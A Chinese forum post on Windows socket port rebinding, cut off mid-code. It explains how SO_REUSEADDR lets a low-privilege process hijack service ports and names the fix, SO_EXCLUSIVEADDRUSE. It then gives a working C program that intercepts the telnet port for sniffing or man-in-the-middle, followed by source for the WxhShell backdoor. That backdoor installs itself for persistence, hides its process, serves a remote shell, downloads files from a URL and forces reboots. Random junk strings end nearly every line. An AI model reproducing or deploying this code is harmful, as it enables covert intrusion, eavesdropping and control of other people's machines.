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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^e^M A.kM,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); to]1QjW-  
` *h-j/M  
  saddr.sin_family = AF_INET; q\[f$==p  
m7g; psg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hJ+>Xm@@!  
;la(Q~#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l;F3kA  
$>]7NTP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5Y_)%u  
:hCp@{  
  这意味着什么?意味着可以进行如下的攻击: }_:^&cT  
%R-"5?eTtu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Rco#?'  
I[@}+p0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k0!b@ c  
Nt'(JAZ;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q V4{=1A  
\C~Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '@ (WT~g  
b P4R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j<Lj1 P3  
9ZeTS~i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,eF}`  
4}gqtw:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 89k9#i X  
^ejU=0+cN  
  #include ZG H2  
  #include _U|s!60'  
  #include ?8)_,  
  #include    Qf6Vj,~N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gle_~es'K  
  int main() aS-rRL|\L  
  { A8dIL5  
  WORD wVersionRequested; R'uM7,7  
  DWORD ret; q6%jCt2'  
  WSADATA wsaData; D42Bm&JocO  
  BOOL val; #Bj.#5  
  SOCKADDR_IN saddr; zdlysr#  
  SOCKADDR_IN scaddr; k8Qm +r<p  
  int err; {I&>`?7.  
  SOCKET s; @M?;~M?B]J  
  SOCKET sc; 27<~m=`}d  
  int caddsize; Ma2sQW\  
  HANDLE mt; p. SEW5  
  DWORD tid;   h%8[];*DpN  
  wVersionRequested = MAKEWORD( 2, 2 ); V<ziJ7H/  
  err = WSAStartup( wVersionRequested, &wsaData ); am]$`7R5d  
  if ( err != 0 ) { W}50E.\#  
  printf("error!WSAStartup failed!\n"); g0: mm,t\  
  return -1; ^dJ/>?1  
  } Rs$k3   
  saddr.sin_family = AF_INET; *&Np;^~  
   U^-:qT;CX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9r+]V=  
3<88j&9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KnaQhZ  
  saddr.sin_port = htons(23); }*4XwUM e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D'$ki[{,  
  { vSb$gl5H  
  printf("error!socket failed!\n"); &}_E~jKK  
  return -1; 4onRO!G,  
  } w4\b^iJz  
  val = TRUE; f R$E*Jd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /. k4Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d3v5^5kU  
  { \tc 4DS  
  printf("error!setsockopt failed!\n"); C (L1  
  return -1; F.<sKQ&A  
  } l{[{pAm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ghs{B8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C!6?.\U/:c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P:eY>~m<;  
q"7rd?r52  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z@R:~  
  { *e&OpVn  
  ret=GetLastError(); &U^6N+l9  
  printf("error!bind failed!\n"); rvgArFf}]  
  return -1; ] ?w hx &+  
  } 8=Xy19<;t  
  listen(s,2); s.d }*H-o  
  while(1) d~M;@<eD  
  { M0YV Qa  
  caddsize = sizeof(scaddr); _WO*N9Iz  
  //接受连接请求 F'^6 ra9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;7Cb!v1  
  if(sc!=INVALID_SOCKET) [xe(FFl+  
  { g <S&sYF5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P~HzN C  
  if(mt==NULL) Q(=} PF  
  { h; ?=:(  
  printf("Thread Creat Failed!\n"); rtd&WkU rD  
  break; d:cs8f4>  
  } 00X~/'!  
  } Wnm?a!j5  
  CloseHandle(mt); a NhI<.v  
  } 9#Gz2u$  
  closesocket(s); biLx-F c  
  WSACleanup(); }SpjB  
  return 0; scZdDbL6+  
  }   N/IDj2C4  
  DWORD WINAPI ClientThread(LPVOID lpParam) \Ld/'Z;w  
  { _+7 3Y'  
  SOCKET ss = (SOCKET)lpParam; Y7g^ ?6  
  SOCKET sc; lf3QMr+  
  unsigned char buf[4096]; <Yif-9  
  SOCKADDR_IN saddr; E_ #MQ;n  
  long num; yE1M+x./  
  DWORD val; AJ1(q:P  
  DWORD ret; ye !}hm=w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lJ1_Zs `  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z Z|a`U  
  saddr.sin_family = AF_INET; 53=5xE= `D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z3X/SQ'0  
  saddr.sin_port = htons(23); y;aZMT.YI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,kS3Ioj  
  { M+4>l\   
  printf("error!socket failed!\n"); fl%X>\i/7  
  return -1; {6d)|';%  
  } vcm66J.14  
  val = 100; 8s^CE[TA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l-4+{6lz  
  { qYjR  
  ret = GetLastError(); GF]V$5.ps  
  return -1; qbcaiU`-^"  
  } {BB#Bh[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0* 7N=  
  { lAYyxG#  
  ret = GetLastError(); MtWzGE=?  
  return -1; R <Mvwu  
  } bn$a7\X-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ffDh 0mDN  
  { wyG7SA   
  printf("error!socket connect failed!\n"); 6_xPk`m  
  closesocket(sc); JAEn 72  
  closesocket(ss); Y.FqWJP=p  
  return -1; oTS/z\C"<u  
  } KA^r,Iw  
  while(1) 'VVEd[  
  { ;QZ}$8D6Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E&js`24 &  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @q8h'@sX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _OR@S%$  
  num = recv(ss,buf,4096,0); l@:|OGD;8  
  if(num>0) 9Q)9*nHe  
  send(sc,buf,num,0); !Miw.UmPm  
  else if(num==0) Y'n+,g  
  break; j'xk [bM  
  num = recv(sc,buf,4096,0); F<R+]M:fa  
  if(num>0) fSR+~Vy  
  send(ss,buf,num,0); ?4QX;s7  
  else if(num==0) FZdZGK  
  break; CG!7BP\  
  } '8RBR%)y  
  closesocket(ss); d#l z^Ls2  
  closesocket(sc); 6yU#;|6d  
  return 0 ; |t<Uh,Bt  
  } YC,s]~[[   
\Z~|ry0v{d  
f&5'1tG  
========================================================== cviPCjM  
5SOl:{A +  
下边附上一个代码,,WXhSHELL 1^R[kaY  
v2ab  
========================================================== QY)hMo=|o8  
R#8.]  
#include "stdafx.h" Nj~3FL  
 AW[_k%  
#include <stdio.h> J%9)&a W  
#include <string.h> yxz)32B?  
#include <windows.h> <,:p?36  
#include <winsock2.h> "CH3\O\  
#include <winsvc.h> L_ &`  
#include <urlmon.h> ^}VAH#c  
jPum2U_  
#pragma comment (lib, "Ws2_32.lib") J]m[0g7O_  
#pragma comment (lib, "urlmon.lib") @cc4]>4  
CRpMpPi@}  
#define MAX_USER   100 // 最大客户端连接数 +c+i~5B4  
#define BUF_SOCK   200 // sock buffer j2dptM3t{  
#define KEY_BUFF   255 // 输入 buffer Wjf,AjL\  
g+:Go9k!F  
#define REBOOT     0   // 重启 <r`^iR)%  
#define SHUTDOWN   1   // 关机 JSf \ApX  
B:?MMXB  
#define DEF_PORT   5000 // 监听端口 ; fOkR+  
N A`qC.K   
#define REG_LEN     16   // 注册表键长度 }hoyjzv]L  
#define SVC_LEN     80   // NT服务名长度 }={TVs^  
Pjvzefp  
// 从dll定义API !=/wpsH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;kE|Vx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Of@ LEEh6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \x(ILk|'c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [v%j?  
()\=(n!J  
// wxhshell配置信息 v4$"{W;'  
struct WSCFG { vGIe"$hNh  
  int ws_port;         // 监听端口 C]- !u Ly  
  char ws_passstr[REG_LEN]; // 口令 qcWY8sYf  
  int ws_autoins;       // 安装标记, 1=yes 0=no .5s#JL  
  char ws_regname[REG_LEN]; // 注册表键名 gS VWv9+  
  char ws_svcname[REG_LEN]; // 服务名 78u9> H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *i`t4N A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }HLs.k4-;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eI@nskq#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B)v|A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $URL7hrhU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LA9'HC(5  
$eSSW+8q"  
}; To!` T$Xh  
g##yR/L  
// default Wxhshell configuration QT<\E`v  
struct WSCFG wscfg={DEF_PORT, f6$$e+  
    "xuhuanlingzhe", \OlB (%E7  
    1, 9CNeMoA$p:  
    "Wxhshell", Dr oa1_FX  
    "Wxhshell", `|2p1Ei  
            "WxhShell Service", zKllwIf i  
    "Wrsky Windows CmdShell Service", 9!>Ks8'.d  
    "Please Input Your Password: ", \GP0FdpV  
  1, yV4rS6=  
  "http://www.wrsky.com/wxhshell.exe", ey/=\@[p  
  "Wxhshell.exe" 6[k7e!&  
    }; 8N,mp>~  
'<R::M,  
// 消息定义模块 <_8p6{=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HB0DG<c-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hl*V i3bQU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -(Fhj Ir  
char *msg_ws_ext="\n\rExit."; n@PXC8}  
char *msg_ws_end="\n\rQuit."; f [DZ  
char *msg_ws_boot="\n\rReboot..."; *u)#yEJ)  
char *msg_ws_poff="\n\rShutdown..."; QNcbl8@  
char *msg_ws_down="\n\rSave to "; `z!6zo2d  
tso\bxiU  
char *msg_ws_err="\n\rErr!"; t3VZjO  
char *msg_ws_ok="\n\rOK!"; n~mP7X%wE7  
]*&`J4i  
char ExeFile[MAX_PATH]; G)8H9EV  
int nUser = 0; ]ME2V  
HANDLE handles[MAX_USER]; 5\jzIB_?  
int OsIsNt; ZQ)vvD<  
7 ~9Lj  
SERVICE_STATUS       serviceStatus; pl.x_E,HP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %Mxc"% w  
m2x=Qv][@c  
// 函数声明 p`=v$_]?(  
int Install(void); 9Z^\b)x  
int Uninstall(void); &VdKL2  
int DownloadFile(char *sURL, SOCKET wsh); d>1cKmH!  
int Boot(int flag); !;U;5e=0  
void HideProc(void); 87p tab@  
int GetOsVer(void); )TtYm3,  
int Wxhshell(SOCKET wsl);   B'QcD  
void TalkWithClient(void *cs); PZYVLUw `  
int CmdShell(SOCKET sock); i$jzn ga  
int StartFromService(void); 'S'Z-7h>0  
int StartWxhshell(LPSTR lpCmdLine); #J`M R05  
@;b @O _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9lR-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A2p]BW&  
RemjiCE0'  
// 数据结构和表定义 "*HVL  
SERVICE_TABLE_ENTRY DispatchTable[] = -A(]U"@n  
{ ('oA{,#L  
{wscfg.ws_svcname, NTServiceMain}, n qC@dHP  
{NULL, NULL} j9g0k<eg  
}; K4vOy_wT  
 8\Uy  
// 自我安装 N${Wh|__^l  
int Install(void) h~-cnAMt  
{ |FP@NUX\  
  char svExeFile[MAX_PATH]; Cb i;CF\{  
  HKEY key; z>A;|iL  
  strcpy(svExeFile,ExeFile); WCL#3uYk"  
M}\p/r=  
// 如果是win9x系统,修改注册表设为自启动 K]H [A,  
if(!OsIsNt) { z:)z]6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =DsFR9IB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ohlCuH 3  
  RegCloseKey(key); xDO1gnH%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w%uM=YmuT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); & oj$h  
  RegCloseKey(key); kj]m@mS[  
  return 0; du>d?  
    } 2"pFAQBw~i  
  } tBtmqxx  
} #VU>Z|$@N  
else { 3,dIW*<**  
PE&$2(  
// 如果是NT以上系统,安装为系统服务 _BPp=(|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,wB)hp  
if (schSCManager!=0) L 4Sa,ZL  
{ @E%f AC  
  SC_HANDLE schService = CreateService c1}i|7/XSi  
  ( ~aL&,0  
  schSCManager, +T8]R7b9  
  wscfg.ws_svcname, B"3uuk8  
  wscfg.ws_svcdisp, 0fAo&B  
  SERVICE_ALL_ACCESS, (RafidiH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , abtYa  
  SERVICE_AUTO_START, byN4?3 F  
  SERVICE_ERROR_NORMAL, Nc\jA=  
  svExeFile, ;uyQR8  
  NULL, +Cs.v.GA5  
  NULL, >goG\y  
  NULL, :S=!]la0h  
  NULL, %~EOq\&  
  NULL ~n{lu'SIX2  
  ); 6e4A| <  
  if (schService!=0) A(T=  
  { sL4+O P-  
  CloseServiceHandle(schService); flS_rY5  
  CloseServiceHandle(schSCManager); :BVYS|%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J"?jaa2~  
  strcat(svExeFile,wscfg.ws_svcname); 7z9[\]tt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V\P .uOI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5z@QAQ  
  RegCloseKey(key); (AswV7aGe  
  return 0; ;wF)!d  
    } ~=/.ZUQNX  
  } !I+F8p   
  CloseServiceHandle(schSCManager); Np>0c -S  
} v])R6-T-  
} JVq`v#8  
XEb+Z7L1  
return 1; T&u25"QOf  
} Y8Z-m (OQ  
?V$@2vBVX4  
// 自我卸载 H5/w!y@  
int Uninstall(void) y;ymyy&  
{ >e^8fpgSo  
  HKEY key; r`A|2(h5B  
4\iy{1{E,C  
if(!OsIsNt) { a @i?E0Fr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O_^ uLp  
  RegDeleteValue(key,wscfg.ws_regname); ^)S<Ha  
  RegCloseKey(key); @i=_y+|d_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uE^5o\To  
  RegDeleteValue(key,wscfg.ws_regname); oRQ( l I>  
  RegCloseKey(key); jFG Y`9Zw0  
  return 0; ^y2}C$1V  
  } _GsHT\  
} tW=oAy  
} KDu~,P]  
else { *# ;  
F:'>zB]-}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R:Tv'I1-L  
if (schSCManager!=0) R0bWI`$Z  
{ 7da~+(yhr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -MuKeCgi  
  if (schService!=0) ~5 e 1&  
  { q|S,^0cU  
  if(DeleteService(schService)!=0) { .( X!*J]G  
  CloseServiceHandle(schService); 2PQY+[jx  
  CloseServiceHandle(schSCManager); =e|  
  return 0; %40+si3c  
  } 9}#9i^%}  
  CloseServiceHandle(schService); "fWm{;  
  } 0s%]%2O N  
  CloseServiceHandle(schSCManager); &U{"dJr  
} 'aJm4W&j  
} wY_! s Qo  
}080=E  
return 1; *(j -jbA  
} "J*LR  
7YQ689"J6B  
// 从指定url下载文件 8rM1kOCf  
int DownloadFile(char *sURL, SOCKET wsh) @h)X3X  
{ j\TS:F^z  
  HRESULT hr; e\WG-zi/  
char seps[]= "/"; W0s3nio  
char *token; p ^U#1c  
char *file; aT}?-CUxx  
char myURL[MAX_PATH]; P/ 7aj:h~P  
char myFILE[MAX_PATH]; L^{wxOf&6E  
{!37w[s~  
strcpy(myURL,sURL); Ctpc]lJ}  
  token=strtok(myURL,seps); u#`'|ko \9  
  while(token!=NULL) z[*Y%o8-r  
  { #}aBRKZ f6  
    file=token; ^_XV}&7Q  
  token=strtok(NULL,seps); QI{<q<  
  } _[8sL^  
>|_B=<!99W  
GetCurrentDirectory(MAX_PATH,myFILE); 4 k y/a1y-  
strcat(myFILE, "\\"); Fu"@)xw/-q  
strcat(myFILE, file); ;1L7+.A  
  send(wsh,myFILE,strlen(myFILE),0); A S]jJc^  
send(wsh,"...",3,0); D}L4uz?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \!!1o+#1j  
  if(hr==S_OK) 0;:AT|U/d  
return 0; pb}4{]sI  
else &1M#;rE;D#  
return 1; k{ibD5B  
q-4#)EnW  
} T8\%+3e.  
# PZBh  
// 系统电源模块 kYU!6t1  
int Boot(int flag) TTm  
{ D0@d}N  
  HANDLE hToken; .p /VRlLU  
  TOKEN_PRIVILEGES tkp; uW^W/S%'  
| sZu1K  
  if(OsIsNt) { g0"KC X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XaR(~2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g@IYD  
    tkp.PrivilegeCount = 1; 9}Qrb@DT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7kH GU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KSy.  
if(flag==REBOOT) { ff<ad l-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O>sE~~g]?  
  return 0; Ll'!aar,  
} \'Ewn8Qv8  
else { iWMgU:T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dX ;G [\  
  return 0; I<L<xwh1(E  
} ;+4X<)y*>  
  } s&~.";b  
  else { z{dn   
if(flag==REBOOT) { AAld2"r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Ik@L,  
  return 0;  =[G)  
} XIJ{qrDr  
else { E!v^j=h$u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~L=Idt!9  
  return 0; f+D a W  
} /e4#D H  
} vV+>JM6<K  
]z_C7Y"4BR  
return 1; sKuPV  
} o= N_0.  
,Jh('r7  
// win9x进程隐藏模块 C*fSPdg?  
void HideProc(void) b6~MRfx`7  
{ {glRX R  
&+>)H$5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6 &)fZt  
  if ( hKernel != NULL ) ."\&;:ZNv  
  { =*?2+ ;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k7ODQ(*v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =D6H?K-k!  
    FreeLibrary(hKernel); C>*]a(5k  
  } (Jb[_d*  
8ncgTCH:  
return; %l8nTcL_?  
} $>mTPNF  
8GD!]t#  
// 获取操作系统版本 h2C1'+Q{9  
int GetOsVer(void) 58 Rmq/6s  
{ W9ewj:4\0  
  OSVERSIONINFO winfo; sCF7K=a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xr\wOQ*`  
  GetVersionEx(&winfo); @YfCS8 eH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cq,hzi-  
  return 1; >4}2~;  
  else WxF rqUz  
  return 0; %aeQL;# V  
} r` T(xJ!)  
ET7(n0*P}]  
// 客户端句柄模块 4?a!6  
int Wxhshell(SOCKET wsl) 2 !^[x~t  
{ h7H#sL[^  
  SOCKET wsh; 'of5v6:8  
  struct sockaddr_in client; v|v^(P,o  
  DWORD myID; JV#)?/a$z  
H21\6 GY  
  while(nUser<MAX_USER) 4f?Y'+>Z,  
{ +=bGrn>h  
  int nSize=sizeof(client); fjAJys)Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~CB6+t>  
  if(wsh==INVALID_SOCKET) return 1; iEf6oM  
Eb<iR)e H=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >r"~t70C~]  
if(handles[nUser]==0)  } Rc8\,  
  closesocket(wsh); SEc3`y;j%  
else S6sw)  
  nUser++; \KaWR  
  } Q(2X$7iRq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &)p/cOiV  
Y+#e| x  
  return 0; 7gV"pa  
} aQEMCWxZ  
J0U9zI4  
// 关闭 socket +{j? +4(B  
void CloseIt(SOCKET wsh) 43;@m}|7$  
{ _r}oYs%1  
closesocket(wsh); )oSUhU26}  
nUser--; 3 9Ql|l$  
ExitThread(0); fFfH9cl!  
} 2>l:: 8Pp  
!$>d75zli  
// 客户端请求句柄 2dr[0tE  
void TalkWithClient(void *cs) y/m^G=Q6g#  
{  |Aw(v6  
I,r 3.2u  
  SOCKET wsh=(SOCKET)cs; _F *(" o  
  char pwd[SVC_LEN]; }Vpr7_  
  char cmd[KEY_BUFF]; xi=qap=S^9  
char chr[1]; O\ T  
int i,j; \"qXlTQ1_9  
$+<X 1  
  while (nUser < MAX_USER) { jG0{>P#+  
+_?;%PKkuF  
if(wscfg.ws_passstr) { FV/X&u8~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %3i/PIN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zJ#e3o .  
  //ZeroMemory(pwd,KEY_BUFF); %TUljX K}  
      i=0; X?b]5?K;r  
  while(i<SVC_LEN) { & CiUU  
Hm+-gI3*  
  // 设置超时 ,XW6W&vR;  
  fd_set FdRead; Lrr^obc  
  struct timeval TimeOut; 2k[i7Rl \c  
  FD_ZERO(&FdRead); '!!w|k d  
  FD_SET(wsh,&FdRead); *_$%Tv.]  
  TimeOut.tv_sec=8; buRXzSR  
  TimeOut.tv_usec=0; )Xa`LG =|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /c`)Er 6d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y]b5qguK  
OxqbHe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i_4FxC4  
  pwd=chr[0]; r6Z&i^cMe  
  if(chr[0]==0xd || chr[0]==0xa) { }(-R`.e;  
  pwd=0; #Xri%&~  
  break; ke~O+]  
  } _y)#N<  
  i++; J[ UL f7:  
    } 0gVylQ  
%#NaM\=8v  
  // 如果是非法用户,关闭 socket iLy }G7h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9c806>]U^  
} '=x   
Nm<3bd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _{,e-_hYM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MyuFZ7Q4$  
mY.[AIB  
while(1) { sRo%=7Z  
[S":~3^B6  
  ZeroMemory(cmd,KEY_BUFF); >E?626*  
DJrE[wI  
      // 自动支持客户端 telnet标准   !5 %c`4  
  j=0; _p7c<$ ;  
  while(j<KEY_BUFF) { p[&'*"o!/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IQdiVj  
  cmd[j]=chr[0]; D<}KTyG]  
  if(chr[0]==0xa || chr[0]==0xd) { Cdiu*#f  
  cmd[j]=0; m$A|Sx&sG$  
  break; f6^H Q1SSt  
  } (I,PC*:  
  j++; }MrR svN  
    } S'V0c%'QQV  
DI**fywu[3  
  // 下载文件 9wC q  
  if(strstr(cmd,"http://")) { @y9_\mX!s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E<'3?(D9hL  
  if(DownloadFile(cmd,wsh)) 52K3N^RgR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6ndt1W z  
  else j$zw(EkN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,jbj-b(  
  } eqs.zL  
  else { 9<P1?Q  
!3$Ph  
    switch(cmd[0]) { k5=0L_xc  
  ,;H)CUe1"  
  // 帮助 qbHb24I  
  case '?': { ve=oH;zf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gs.id^Sf  
    break; FbJlyWND  
  } 'wLQ9o%=p|  
  // 安装 "m _wYX  
  case 'i': { c5<M=$  
    if(Install()) P$Xig  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k%/Z.4vQG  
    else qWtvo';3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5>"$95D  
    break; =wPl;SDf!  
    } cW26TtU(  
  // 卸载 }!(cm;XA"  
  case 'r': { lEAN Nu  
    if(Uninstall()) =c M\o{ q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O@'/B" &  
    else CG@ LYN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F%lP<4Vx  
    break; X|7gj &1  
    } ]U! ?{~  
  // 显示 wxhshell 所在路径 Bh"o{-$p8`  
  case 'p': { ,F.\z^\{  
    char svExeFile[MAX_PATH]; $=TFTSO  
    strcpy(svExeFile,"\n\r"); PE|_V  
      strcat(svExeFile,ExeFile); d>)*!l2,C  
        send(wsh,svExeFile,strlen(svExeFile),0); 9EK5#_L[=  
    break; F.?^ko9d  
    } >"{3lDyq-  
  // 重启 Qy*`s  
  case 'b': { !CTchk<{(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I/<aY*R4  
    if(Boot(REBOOT)) <E|i3\[p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :o&qJ%  
    else { GG5wiN*2S  
    closesocket(wsh); #<S+E7uTs  
    ExitThread(0);  4EJ  
    } nxKV7d@R  
    break; O2q`2L~  
    } ]P<u^ `{*  
  // 关机 ^hq`dr|R=  
  case 'd': { u8v;O}#  
